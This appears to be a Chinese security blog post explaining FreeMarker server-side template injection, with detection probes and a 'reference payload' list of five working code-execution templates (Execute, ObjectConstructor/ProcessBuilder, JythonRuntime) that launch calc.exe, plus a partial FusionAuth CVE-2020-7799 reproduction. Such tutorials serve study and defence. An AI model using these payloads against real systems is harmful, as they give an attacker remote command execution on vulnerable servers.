一、freemarker和thymeleaf区别

freemarker这种编程式模板引擎,比如我们用一个判断会这么写

<#if ${isBig}>Wow!</#if>

而在thymeleaf中首先要考虑的问题是我的DOM是什么,而不是将 if 的逻辑放在哪里

在thymeleaf中判断会写出下面代码:

<div th:switch="${user.role}"> <p th:case="'admin'">User is an administrator</p><p th:case="#{roles.manager}">User is a manager</p><p th:case="*">User is some other thing</p>
</div>

二、关于FreeMarker模板注入

参考链接:https://zhuanlan.zhihu.com/p/432361789
(一)简介
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

(二)常用的几种类型

文本:包括HTML标签与静态文本等静态内容,会原样输出;

插值:这部分的输出会被计算的数据来替换,使用${}这种语法;

标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name=‘bob’>;

注释:由<#–和–>表示,不会被freemarker处理

(三)注入原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

(四)漏洞发现

1、使用${77}或#{77},如果返回49,则基本可以确认存在模板注入漏洞。

2、使用特殊字符等方式去尝试报错:

${{<%[%’”}}%\

如果引发了报错,则可能存在问题,同时还可能爆出模板引擎是什么,有时甚至是哪个版本。

(五)参考payload
https://www.cnblogs.com/Eleven-Liu/p/12747908.html

1.<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}2.[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}3.${"freemarker.template.utility.Execute"?new()("calc.exe")}4.<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}5.<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

三、FusionAuthRCE(CVE-2020-7799)复现

转载于:https://blog.csdn.net/xuandao_ahfengren/article/details/107742893
(一)简介

FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

(二)影响版本

FusionAuth <= 1.11.0

(三)环境搭建

1、下载 FusionAuth 1.10.0

wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

四、Freemarker模板注入(CVE-2020-7477)复现

https://blog.csdn.net/qq_35208730/article/details/119392499

freemarker快速入门:
https://segmentfault.com/a/1190000011768799?utm_source=tag-newest

freemarker模板注入相关推荐

  1. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  2. 【代码审计】模板注入

    0x00 介绍 这里主要学习下 FreeMarker 模板注入,FreeMarker 是一款模板引擎,FreeMarker 模板文件与 HTML 一样都是静态页面,当用户访问页面时,FreeMarke ...

  3. 详解模板注入漏洞(下)

    作者 | 原作者gosecure,翻译整理shan66 来源 | http://gosecure.github.io/ 在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及 ...

  4. JFinal配合Shiro权限控制在FreeMarker模板引擎中控制到按钮粒度的使用

    实现在FreeMarker模板中控制对应按钮的显示隐藏主要用到了Shiro中的hasRole, hasAnyRoles, hasPermission以及Authenticated等方法,我们可以实现T ...

  5. Java Email 发HTML邮件工具 采用 freemarker模板引擎渲染

    Java Email 发HTML邮件工具 采用 freemarker模板引擎 1.常用方式对比 Java发送邮件有很多的实现方式 第一种:Java 原生发邮件mail.jar和activation.j ...

  6. Java之利用Freemarker模板引擎实现代码生成器,提高效率

    开心一笑 [1.你以为我会眼睁睁的看着你去送死?我会闭着眼睛.2.给你讲个故事,从前有个笨蛋,他非常笨,别人问他问题他只会回答"没有",这个故事你听过吗?] 视频教程 大家好,我录 ...

  7. WEB 渗透之SSTI 模板注入

    SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...

  8. apt_Word模板注入攻击

    Word模板注入攻击 win7:192.168.137.139:第一部分实验所用win7 虚拟机 win7:192.168.1.102:第二部分实验所用win7 虚拟机 kaili:192.168.1 ...

  9. Spring 4 使用Freemarker模板发送邮件添加附件

    前言 Spring对Java的邮件发送提供了很好的支持,提供了超级简单的API,大大简化了Java邮件发送功能的开发. Spring对Email的支持是基于JavaMail API开发的,所以,我们在 ...

最新文章

  1. 2、jeecg 笔记之 t:dictSelect 或 t:dgCol 自定义字典
  2. .NET(C#)时间日期字符串(String)格式化转换成Datetime异常报错问题
  3. MySQL\MariaDB 多线程复制初探
  4. ORA-01034: ORACLE not available
  5. createjs入门
  6. hdu 1255 覆盖的面积 (Bruceforce)
  7. C++ 结构体字节对齐
  8. 传智播客杨中科老师的wpf基础视频教程、C#视频教程
  9. Linux驱动面试总结
  10. linux 搜索s开头的文件,Linux文件查找/内容搜索命令
  11. 感应加热电源-谐振移相-感性移相
  12. 使用img标签能使用background-size:conver一样的效果
  13. 智能路由器OpenWrt 开发环境 及 编译分析(一)
  14. Win10怎么使用Windows Defender扫描文件夹中的恶意软件?
  15. linux关于日志文件介绍,Linux下重要日志文件介绍
  16. python 报错traceback怎么解决_浅谈python出错时traceback的解读
  17. 计算机辅助教学时必不可少的,浅谈计算机辅助教学在历史教学中的作用及应用.doc...
  18. The authenticity of host ‘gree129 (192.168.**.129)‘ can‘t be established.
  19. Java 获取昨天的日期
  20. 性能优化指标的性能指标,及其如何量化

热门文章

  1. 【转载】让盐和味精告诉你,「变量」是什么 | 亲子课堂 第 4 课
  2. 关于支付宝服务商模式的刷卡支付没有分润的问题
  3. npm install --save-dev
  4. 升级 glibc 到2.18版本
  5. 第14章 项目采购管理
  6. Android 微信支付加密
  7. quora 查看收藏的回答(bookmark)
  8. C语言程序的特点及设计思想
  9. 【Android】时钟动态图标的定制化
  10. 三十八、C++ 信号捕获